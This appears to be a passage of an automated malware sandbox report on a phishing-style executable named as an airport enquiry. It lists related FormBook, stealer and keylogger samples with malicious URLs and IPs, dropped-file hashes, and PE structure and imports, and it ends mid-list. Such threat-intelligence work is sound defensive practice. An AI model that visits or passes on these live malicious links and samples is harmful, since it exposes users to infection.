	https://www.baidu.com/link?url=PR7h_t_ZizoWZdjSMLubWVmCX_p6239c2z0KzH4cKS_&wd=ZC5rZW5uZWR5QGNoY2ZsLm9yZw==	Get hash	malicious	Unknown	Browse	103.235.47.188
	S8faD2qee3.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse	103.235.47.188
	S8faD2qee3.exe	Get hash	malicious	PureLog Stealer	Browse	103.235.46.96
	https://m.163.com/	Get hash	malicious	Unknown	Browse	103.235.47.188
	https://t0kenp0cket.com/zh/download/app/	Get hash	malicious	Unknown	Browse	103.235.47.188
	4.exe	Get hash	malicious	BlackMoon	Browse	103.235.46.96
	2.exe	Get hash	malicious	BlackMoon	Browse	103.235.47.188
	1.exe	Get hash	malicious	BlackMoon	Browse	103.235.46.96
	3.exe	Get hash	malicious	BlackMoon, XRed	Browse	103.235.46.96
sites.ludicrous.cloud	SecuriteInfo.com.Win32.RATX-gen.24742.674.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	104.18.35.90
	CSCEC Middle East (L.L.C).exe	Get hash	malicious	FormBook	Browse	104.18.35.90
	IIMG_00172424.exe	Get hash	malicious	FormBook	Browse	104.18.35.90
	SecuriteInfo.com.Trojan.PackedNET.2966.14355.23143.exe	Get hash	malicious	FormBook	Browse	104.18.35.90
	Shipping Documents.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	172.64.152.166
	SecuriteInfo.com.TrojanLoader.MSIL.DaVinci.Heur.16736.4797.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	104.18.35.90
	http://track.fsome.us/?xtl=1viwu5za3qfkgb4bktigd6w9r2aiqj8ubi9x5aevx7vsdxmw96lm51d09tvturwitx5wwhlphpachqeuw68ny1p2uhpiqa5szmrev8&eih=pq9mx5ijy0kxtkev624h50srg6ww83cce1e&__stmp=sgg9ci&__onlt=h	Get hash	malicious	Unknown	Browse	104.18.35.90
	IMG_00110724.exe	Get hash	malicious	FormBook	Browse	104.18.35.90
	SecuriteInfo.com.Win32.PWSX-gen.17883.22231.exe	Get hash	malicious	FormBook	Browse	104.18.35.90
	Shipping Documents.exe	Get hash	malicious	FormBook	Browse	172.64.152.166
www.serverdayz.com	swift copy.exe	Get hash	malicious	FormBook	Browse	103.224.212.214

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	http://stream.crichd.vip/update/sscricket.php	Get hash	malicious	Unknown	Browse	141.101.120.10
	virus total.pdf	Get hash	malicious	HTMLPhisher	Browse	188.114.97.3
	ung_9191.pdf	Get hash	malicious	Unknown	Browse	104.18.3.35
	Request for Quotation.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	SecuriteInfo.com.Trojan.Locsyz.2.2D0.720.7591.31980.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	Feature Status Update WDWRN.html	Get hash	malicious	Unknown	Browse	104.17.25.14
	SOA-Al Daleel -Star Electromechanical.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	nOyswc9ly2.dll	Get hash	malicious	Unknown	Browse	188.114.96.3
	pXm5oVO3Go.exe	Get hash	malicious	Nitol	Browse	188.114.96.3
	Rudvfa0Z17.exe	Get hash	malicious	Nitol	Browse	104.26.6.127
TRELLIAN-AS-APTrellianPtyLimitedAU	031215-Revised-01.exe	Get hash	malicious	FormBook	Browse	103.224.182.242
	DHL AWB TRACKING DETAILS.exe	Get hash	malicious	FormBook	Browse	103.224.182.242
	Quote 1T PN40 082624.exe	Get hash	malicious	FormBook	Browse	103.224.182.242
	Bonelessness.exe	Get hash	malicious	Simda Stealer	Browse	103.224.182.252
	roundwood.exe	Get hash	malicious	Simda Stealer	Browse	103.224.182.252
	Copy of 01. Bill of Material - 705.exe	Get hash	malicious	FormBook	Browse	103.224.182.242
	Request for Quotation + sample catalog.vbs	Get hash	malicious	FormBook	Browse	103.224.182.242
	RFQ-230802024.PDF.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	103.224.182.242
	Document 21824RXVPO.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	103.224.182.242
	AxgZVzUv8m.exe	Get hash	malicious	Pony	Browse	103.224.212.212
CLOUDFLARENETUS	http://stream.crichd.vip/update/sscricket.php	Get hash	malicious	Unknown	Browse	141.101.120.10
	virus total.pdf	Get hash	malicious	HTMLPhisher	Browse	188.114.97.3
	ung_9191.pdf	Get hash	malicious	Unknown	Browse	104.18.3.35
	Request for Quotation.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	SecuriteInfo.com.Trojan.Locsyz.2.2D0.720.7591.31980.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	Feature Status Update WDWRN.html	Get hash	malicious	Unknown	Browse	104.17.25.14
	SOA-Al Daleel -Star Electromechanical.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	nOyswc9ly2.dll	Get hash	malicious	Unknown	Browse	188.114.96.3
	pXm5oVO3Go.exe	Get hash	malicious	Nitol	Browse	188.114.96.3
	Rudvfa0Z17.exe	Get hash	malicious	Nitol	Browse	104.26.6.127
AMAZON-02US	http://stream.crichd.vip/update/sscricket.php	Get hash	malicious	Unknown	Browse	3.122.190.9
	https://cisa2024.entegyapp.co.uk/	Get hash	malicious	Unknown	Browse	3.70.10.198
	Quotation-27-08-24.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	Payment Details Swift copy.exe	Get hash	malicious	FormBook	Browse	76.223.67.189
	INVG0088 LHV3495264 BL327291535V.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	#U5831#U50f9#U8acb#U6c42 - #U6a23#U672c#U76ee#U9304.vbs	Get hash	malicious	FormBook, GuLoader	Browse	76.223.54.146
	LinhasSumarizadas_2022067095.ppam	Get hash	malicious	RevengeRAT	Browse	18.228.165.84
	OmnibeesReservas_2022067095.ppam	Get hash	malicious	RevengeRAT	Browse	18.228.165.84
	https://messaging-security.comano.us/XdEtiQ3I4emJ5ZldQUWF3SmcwOEQ4cURsb24rSWYyY2loVzV5bktYMlpLSlVxalNnL1RabENaQmozTzkvS3FhK1Z5ZTJDZHlNa1VGbnJDL1g3ZHBLdXdYNUJJbXVhckp5RmFuam41SWhoR0tQUTVWSmNSeEdVdXp3ZmV3eksreWs4dlFnVTBqZG8xUDdFZU9sN1JGZUNtUGdHQnZsVVJLRHREbFNUQm54UWtMa3dmdFNwVENxQTRLaFh3PT0tLUd4TXFReTErSUVBOTZZdDQtLWFZbmE1c254RWIwVWNyTkhyVHN0TUE9PQ==?cid=2140479915	Get hash	malicious	Unknown	Browse	52.217.205.32
	LinhasSumarizadas_2022067095.ppam	Get hash	malicious	RevengeRAT	Browse	18.228.165.84

Process:	C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe
File Type:	data
Category:	dropped
Size (bytes):	177486
Entropy (8bit):	7.968612513184063
Encrypted:	false
SSDEEP:	3072:Vb/kQrnoFASlCrp5hTARvFTz1qvrvfMl7qnvCxAKY+ggKY8bzAXodzlOnB:Vb542FCGnE7qnvOAKYFgKrSTB
MD5:	4BE5734C5BC9C6D3EDAC4E8086D8661C
SHA1:	E64E72CDDE760FDBBF8549EF1B97C7F599F73FF4
SHA-256:	CB979460AC541DD55534CDD75B099A72A92D6C5A2CB33AD0350E6FF512AEE259
SHA-512:	80BAA4A6DC06E94ED215DA0803EE8468DBEABF650530EE5D07B88D633EECBABFC5B6FCE51B6DF2D02960DC893791DA6B7DD736445F68F91C817F1F5CC76CD6AD
Malicious:	false
Reputation:	low
Preview:	EA06.......Q.-".D.....g;...Yy..v'....(z.'VqM.Vh..h..3...P..... W(...7.H..t..".l...Vy..O&.K....WV.I.2YM.u4.[.R[...k....9M..L.Z..3...........K}z..{..@..w3... ......#..D.......Q.=2.I.Q(......Z.E..D.PjT\....UJ.U. 54P...D.....<.W...T..........=...Vj..m`.A.. `.@...}@........L@..."..A..$..`....g.....0.C..............?....p............&.w$..f..G./U....}......;4C#.Q"..l6/..Ep..z...(_.'...q..tv...l.T...[..kh.N.....~..\|....Vq..E.I..N)\|.@.....5+...q.<.e..sc.^6...Qq:.dfy..S).j..SM..6..%?.q4\|}...H.g.x......(.W1..qb...6e?.q1...f....yY.wb...vyN.F...V91.6.%]..g..F.....4.wH....u...g...i....9...u.Z.7....5.}.N....g5N.8.....4:Og9...{P...)..U8..gj;@...@.n3SI..g...+...l...73...dt...I?.f:Yln...q<X..W.h.d.T.>s...Dwq:.6+:..Q.~W.c.L.y*.K........b..MxQJ.2.E...\|zg.!@.].}.%7g..B..X.......{g...p..........{a...5.T'....b..Ln..m8.....;.A);;...o'4=L.c..t..^.....[xw.a.z..n.v]..E......(..z.x.l.A.V8Z......F&...v#..sp3....Z.@8...b.K.F..X..A.D..h.v......N5.g.Sm..>....,.

C:\Users\user\AppData\Local\Temp\aut39FA.tmp

Download File

Process:	C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe
File Type:	data
Category:	dropped
Size (bytes):	17282
Entropy (8bit):	7.866687746537832
Encrypted:	false
SSDEEP:	384:nYxDxKQgavxWEGd/HqwZgcjMfI0lly5W/nVxhrPdBrROF:YVv/+HhjMDaW/V7bROF
MD5:	7B522584E4C7DB09E2A87721052645E8
SHA1:	12C1B3E96939AD716168161009874FD1A44DA410
SHA-256:	23267CA907D99A86809B8288A20A1901FD5EBDC5E05BD9BAE4DC1B93DA0BBE4B
SHA-512:	605C09054A924CA2501926C31BCDF2A5771591CC68B7BF59B0FED1F05241DDDC34549022BD45C413B8A11DA29D86DE55BC50EFA11346539EEDD3C440666C0D1F
Malicious:	false
Reputation:	low
Preview:	EA06...!.`3.<...........`4..g....r.<....p.7..S..Z.\|-E....jx.....@..xZ0..C...\\..'i.F,.......7..~...E...8[..H.J...\|..m...;.._..\.g.\|X...J..m......(....Z.......X..P.+@....,........g5.`..r....U..3...@..-@.?.....8ZN..i..1-v..S...j.[......t .y.....-\-..K...\<O.....8y.^p.k ..E.....8[.._...5.P.8.`7 D[.456..<...F@#...k@.8..@.@...\...{.@.....!.Y8[.........m ..V......j,.#.7.t...............np.........-........p..9Wul...\|.A..+.....{7.w..................Y..E.....k...8......X .`.....p.@H_h.....8x@......_.Z4......4...cL..Q....}.-.. ...4...=....d.....=..D.....+....@.~@......j..~@U......~]e..\|...x..H.O.....D....W..s.D...O......@v@.O..3.........n....@ ...p..... .....v....\<.....\.0....Y.....R...g?.....2`...e...P....g...O;.......8_X.:..P7.....l@...+d............. G2`....h....`..#[m.k..`..)....A....%b..V. .FR.._Z.......3..`r........0@ .7.........~P.....B..k...`.p..]........p.[....<7P........l@....L.*n...<\.Q.. ..X.j.......y.g.Wg.#2.......Rg/....8X.. ....2`.....1 .`!

C:\Users\user\AppData\Local\Temp\spiketop

Download File

Process:	C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe
File Type:	International EBCDIC text, with very long lines (57121), with no line terminators
Category:	dropped
Size (bytes):	57121
Entropy (8bit):	4.975182112181778
Encrypted:	false
SSDEEP:	768:4anY1tcSOCa+j4FvOU1xQIh7GZbfGH0e9Ad0l:UPzOy+OUzIZbfGvl
MD5:	79B6F047E29CBEEC870695936784CC83
SHA1:	8BA9B8476E9DE9B036856C0E7B9381789183FC56
SHA-256:	E2A5BEA85DC72CE6A91A9A1E7833ABC75EC914B10618FB427D6DDB6B8A715B2D
SHA-512:	455028DAA15BC532CDE2B32B93BEE11475956C91CF9A6C9A492018D2C97D29E57C04B890B8C483DA2C1D930EA641DD57D35D90D60AC52B719FB396146ABE16FC
Malicious:	false
Reputation:	low
Preview:	..jj..........b..}..jk.i.....ee.b.....ij.f.....ee.b.....i..h.....ee.b.....jj.j.....ee.b.....ij.......ee.b.....i........ee.b.....jj.......ee.b.....ij.b.....ee.b.....i..d.....ee.b.....jj.f.....ee.b.....ij.h.....ee.b.....i..j.....ee.b.....jj.......km.f.....k..b..}..km.j..............ee.b.....nj.h........h..}..ee.h.....m........k..b..}..km.j..............ee.b.....nj..........d..}..ee.h..............ki.b..}..km.j..}...........ee.b.....nj.d........h..}..ee.h.....i.........n.h.....k........lj.b..}..km.g..}..lh.b..}..km.f.

C:\Users\user\AppData\Local\Temp\wainage

Download File

Process:	C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe
File Type:	data
Category:	dropped
Size (bytes):	189440
Entropy (8bit):	7.822314845763124
Encrypted:	false
SSDEEP:	3072:azsrW1HrukemVwHyQLrOHj7pyxPGC4j8bV36lgOpTS3EOtlQwHKppi11T4CNItia:azdBrtKk7iG54V3y3+Rt6tH8NDrr8Q3A
MD5:	B54BFF163AD5835BBD403A4EC6B2FCA2
SHA1:	C7D3171F55C5597973132B0090F29846B545EAC7
SHA-256:	6F3F3C747A7C4993A772E610CEF4D73989562BFA4C418C4DE84602C3DEA21709
SHA-512:	C55576A812790A4BDD3B14C6097228AA14185068F9641F0FC4C77DD11D287BD7AF60E099E0F4AB618336A94DF15F392577BFD6A66CB12F68E8E6D55641D535C0
Malicious:	false
Reputation:	low
Preview:	.....HADOk.L...e.LN..g0C...8MRYGLMHADO3KREE8MRYGLMHADO3KR.E8M\F.BM.H.n.J..dl%;g<?'&6.^k1$+V"&y%)m:4oZ%r..km?6#)cELNk3KREE8M..O...'...-..^..Y....'..3...^..Y....'..Z(:..^.RYGLMHADO3KREE8M..GL.I@DE.tnEE8MRYGL.HCED2ARE.:MRYGLMHADO.JREU8MR.ELMH.DO#KREG8MWYFLMHADJ3JREE8MR.ELMJADO3KRGEx.RYWLMXADO3[REU8MRYGL]HADO3KREE8MRYGLMHADO3KREE8MRYGLMHADO3KREE8MRYGLMHADO3KREE8MRYGLMHADO3KREE8MRYGLMHADO3KREE8MRYGLMHADO3KREE8MRYGLMHADO3KREE8MRYGLMHADaG.*1E8M6.ELMXADO.IREU8MRYGLMHADO3KReE8-RYGLMHADO3KREE8MRYGLMHADO3KREE8MRYGLMHADO3KREE8MRYGLMHADO3KREE8MRYGLMHADO3KREE8MRYGLMHADO3KREE8MRYGLMHADO3KREE8MRYGLMHADO3KREE8MRYGLMHADO3KREE8MRYGLMHADO3KREE8MRYGLMHADO3KREE8MRYGLMHADO3KREE8MRYGLMHADO3KREE8MRYGLMHADO3KREE8MRYGLMHADO3KREE8MRYGLMHADO3KREE8MRYGLMHADO3KREE8MRYGLMHADO3KREE8MRYGLMHADO3KREE8MRYGLMHADO3KREE8MRYGLMHADO3KREE8MRYGLMHADO3KREE8MRYGLMHADO3KREE8MRYGLMHADO3KREE8MRYGLMHADO3KREE8MRYGLMHADO3KREE8MRYGLMHADO3KREE8MRYGLMHADO3KREE8MRYGLMHADO3KREE8MRYGLMHADO3KREE8MRYGLMHADO3KREE8MRYGLMHADO3KREE8MRYGLMHAD

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.057895235347342
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	New Al Maktoum International Airport Enquiry Ref #2401249.exe
File size:	1'120'768 bytes
MD5:	621c253a4d715e3af16fe8be2fdd8cb1
SHA1:	68ce09cc59887c7f9649f22e6688028957d6c55e
SHA256:	007c997b49ac0889e71757762c82432a975a273eda4c871acec3c0823c6ea530
SHA512:	56616c4175b53f6b00591e7aa5d32146fb168de7a22501c9fd784a0ccc5d403b5b920f01f3545cceab9ea0dd0cc5df992d339bed6a838e930094f35782bc4fa6
SSDEEP:	24576:TAHnh+eWsN3skA4RV1Hom2KXMmHaIxs0ZkXe9VHdA5:eh+ZkldoPK8YaIxIe9O
TLSH:	3935AD0273D2C036FFAB92739B6AF24556BC79254123852F13981DB9BD701B2227E763
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........s..R...R...R....C..P.....;.S..._@#.a..._@......_@..g...[j..[...[jo.w...R...r.............#.S..._@'.S...R.k.S.....".S...RichR..

File Icon


Icon Hash:	aaf3e3e3938382a0

Static PE Info

General

Entrypoint:	0x42800a
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66CD4725 [Tue Aug 27 03:25:25 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	afcdf79be1557326c854b6e20cb900a7

Entrypoint Preview

Instruction
call 00007FE89480E5ADh
jmp 00007FE894801364h
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
push edi
push esi
mov esi, dword ptr [esp+10h]
mov ecx, dword ptr [esp+14h]
mov edi, dword ptr [esp+0Ch]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe 00007FE8948014EAh
cmp edi, eax
jc 00007FE89480184Eh
bt dword ptr [004C41FCh], 01h
jnc 00007FE8948014E9h
rep movsb
jmp 00007FE8948017FCh
cmp ecx, 00000080h
jc 00007FE8948016B4h
mov eax, edi
xor eax, esi
test eax, 0000000Fh
jne 00007FE8948014F0h
bt dword ptr [004BF324h], 01h
jc 00007FE8948019C0h
bt dword ptr [004C41FCh], 00000000h
jnc 00007FE89480168Dh
test edi, 00000003h
jne 00007FE89480169Eh
test esi, 00000003h
jne 00007FE89480167Dh
bt edi, 02h
jnc 00007FE8948014EFh
mov eax, dword ptr [esi]
sub ecx, 04h
lea esi, dword ptr [esi+04h]
mov dword ptr [edi], eax
lea edi, dword ptr [edi+04h]
bt edi, 03h
jnc 00007FE8948014F3h
movq xmm1, qword ptr [esi]
sub ecx, 08h
lea esi, dword ptr [esi+08h]
movq qword ptr [edi], xmm1
lea edi, dword ptr [edi+08h]
test esi, 00000007h
je 00007FE894801545h
bt esi, 03h

Rich Headers

Programming Language:

[ASM] VS2013 build 21005
[ C ] VS2013 build 21005
[C++] VS2013 build 21005
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ASM] VS2013 UPD5 build 40629
[RES] VS2013 build 21005
[LNK] VS2013 UPD5 build 40629

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xbc0cc	0x17c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc8000	0x47238	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x110000	0x7134	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x92bc0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xa4b50	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8f000	0x884	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x8dfdd	0x8e000	310e36668512d53489c005622bb1b4a9	False	0.5735602580325704	data	6.675248351711057	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8f000	0x2fd8e	0x2fe00	748cf1ab2605ce1fd72d53d912abb68f	False	0.32828818537859006	data	5.763244005758284	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xbf000	0x8f74	0x5200	aae9601d920f07080bdfadf43dfeff12	False	0.1017530487804878	data	1.1963819235530628	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xc8000	0x47238	0x47400	f59eb3c128183326e45be13d8a8890a1	False	0.9069764254385965	data	7.847645808433948	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x110000	0x7134	0x7200	f04128ad0f87f42830e4a6cdbc38c719	False	0.7617530153508771	data	6.783955557128661	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xc85a8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.7466216216216216
RT_ICON	0xc86d0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	Great Britain	0.3277027027027027
RT_ICON	0xc87f8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
RT_ICON	0xc8920	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 0	English	Great Britain	0.3333333333333333
RT_ICON	0xc8c08	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 0	English	Great Britain	0.5
RT_ICON	0xc8d30	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	English	Great Britain	0.2835820895522388
RT_ICON	0xc9bd8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	English	Great Britain	0.37906137184115524
RT_ICON	0xca480	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	English	Great Britain	0.23699421965317918
RT_ICON	0xca9e8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	English	Great Britain	0.13858921161825727
RT_ICON	0xccf90	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	English	Great Britain	0.25070356472795496
RT_ICON	0xce038	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	English	Great Britain	0.3173758865248227
RT_MENU	0xce4a0	0x50	data	English	Great Britain	0.9
RT_STRING	0xce4f0	0x594	data	English	Great Britain	0.3333333333333333
RT_STRING	0xcea84	0x68a	data	English	Great Britain	0.2747909199522103
RT_STRING	0xcf110	0x490	data	English	Great Britain	0.3715753424657534
RT_STRING	0xcf5a0	0x5fc	data	English	Great Britain	0.3087467362924282
RT_STRING	0xcfb9c	0x65c	data	English	Great Britain	0.34336609336609336
RT_STRING	0xd01f8	0x466	data	English	Great Britain	0.3605683836589698
RT_STRING	0xd0660	0x158	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	Great Britain	0.502906976744186
RT_RCDATA	0xd07b8	0x3e4ce	data			1.0003370143662171
RT_GROUP_ICON	0x10ec88	0x76	data	English	Great Britain	0.6610169491525424
RT_GROUP_ICON	0x10ed00	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0x10ed14	0x14	data	English	Great Britain	1.15
RT_GROUP_ICON	0x10ed28	0x14	data	English	Great Britain	1.25
RT_VERSION	0x10ed3c	0x10c	data	English	Great Britain	0.5932835820895522
RT_MANIFEST	0x10ee48	0x3ef	ASCII text, with CRLF line terminators	English	Great Britain	0.5074478649453823

Imports

DLL	Import
WSOCK32.dll	WSACleanup, socket, inet_ntoa, setsockopt, ntohs, recvfrom, ioctlsocket, htons, WSAStartup, __WSAFDIsSet, select, accept, listen, bind, closesocket, WSAGetLastError, recv, sendto, send, inet_addr, gethostbyname, gethostname, connect
VERSION.dll	GetFileVersionInfoW, GetFileVersionInfoSizeW, VerQueryValueW
WINMM.dll	timeGetTime, waveOutSetVolume, mciSendStringW
COMCTL32.dll	ImageList_ReplaceIcon, ImageList_Destroy, ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, InitCommonControlsEx, ImageList_Create
MPR.dll	WNetUseConnectionW, WNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W
WININET.dll	InternetQueryDataAvailable, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetQueryOptionW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetReadFile, InternetConnectW
PSAPI.DLL	GetProcessMemoryInfo
IPHLPAPI.DLL	IcmpCreateFile, IcmpCloseHandle, IcmpSendEcho
USERENV.dll	DestroyEnvironmentBlock, UnloadUserProfile, CreateEnvironmentBlock, LoadUserProfileW
UxTheme.dll	IsThemeActive
KERNEL32.dll	DuplicateHandle, CreateThread, WaitForSingleObject, HeapAlloc, GetProcessHeap, HeapFree, Sleep, GetCurrentThreadId, MultiByteToWideChar, MulDiv, GetVersionExW, IsWow64Process, GetSystemInfo, FreeLibrary, LoadLibraryA, GetProcAddress, SetErrorMode, GetModuleFileNameW, WideCharToMultiByte, lstrcpyW, lstrlenW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, SetEndOfFile, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, SetCurrentDirectoryW, GetLongPathNameW, GetShortPathNameW, DeleteFileW, FindNextFileW, CopyFileExW, MoveFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, EnumResourceNamesW, OutputDebugStringW, GetTempPathW, GetTempFileNameW, DeviceIoControl, GetLocalTime, CompareStringW, GetCurrentProcess, EnterCriticalSection, LeaveCriticalSection, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, LoadLibraryExW, FindResourceExW, CopyFileW, VirtualFree, FormatMessageW, GetExitCodeProcess, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, SetFileAttributesW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, HeapReAlloc, HeapSize, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetProcessIoCounters, CreateProcessW, GetProcessId, SetPriorityClass, LoadLibraryW, VirtualAlloc, IsDebuggerPresent, GetCurrentDirectoryW, lstrcmpiW, DecodePointer, GetLastError, RaiseException, InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, InterlockedDecrement, InterlockedIncrement, GetCurrentThread, CloseHandle, GetFullPathNameW, EncodePointer, ExitProcess, GetModuleHandleExW, ExitThread, GetSystemTimeAsFileTime, ResumeThread, GetCommandLineW, IsProcessorFeaturePresent, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, SetLastError, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetStartupInfoW, GetStringTypeW, SetStdHandle, GetFileType, GetConsoleCP, GetConsoleMode, RtlUnwind, ReadConsoleW, GetTimeZoneInformation, GetDateFormatW, GetTimeFormatW, LCMapStringW, GetEnvironmentStringsW, FreeEnvironmentStringsW, WriteConsoleW, FindClose, SetEnvironmentVariableA
USER32.dll	AdjustWindowRectEx, CopyImage, SetWindowPos, GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, CallWindowProcW, ReleaseCapture, SetCapture, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, SetRect, GetMenuItemID, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, MonitorFromRect, keybd_event, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, 